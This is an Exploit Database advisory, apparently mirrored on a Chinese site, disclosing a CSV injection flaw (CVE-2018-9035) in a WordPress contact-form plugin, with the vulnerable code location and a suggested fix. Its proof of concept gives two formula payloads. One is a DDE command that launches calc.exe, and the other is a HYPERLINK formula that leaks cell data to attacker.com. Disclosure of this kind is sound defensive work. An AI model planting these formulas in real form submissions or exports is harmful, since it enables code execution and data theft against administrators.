WordPress Plugin Contact Form 7 to Database Extension 2.10.32 – CSV Injection

• Exploit Database
• 33 阅读

• 作者： Stefan Broeder
  日期： 2018-03-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44367/

• # Exploit Title : Contact Form 7 to Database Extension WordPress Plugin CSV Injection
  # Date: 23-03-2018 
  # Exploit Author : Stefan Broeder
  # Contact : https://twitter.com/stefanbroeder
  # Vendor Homepage: None
  # Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension
  # Version: 2.10.32
  # CVE : CVE-2018-9035
  # Category : webapps
  
  Description
  ===========
  Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.
  
  Vulnerable part of code
  =======================
  File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.
  
  Impact
  ======
  Arbitrary formulas can be injected into CSV/Excel files. 
  This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.
  
  Proof of Concept
  ============
  In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated. 
  
  Example:
  
  =cmd|'/C calc.exe'!Z0
  
  or
  
  =HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")
  
  
  Solution
  ========
  
  The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats.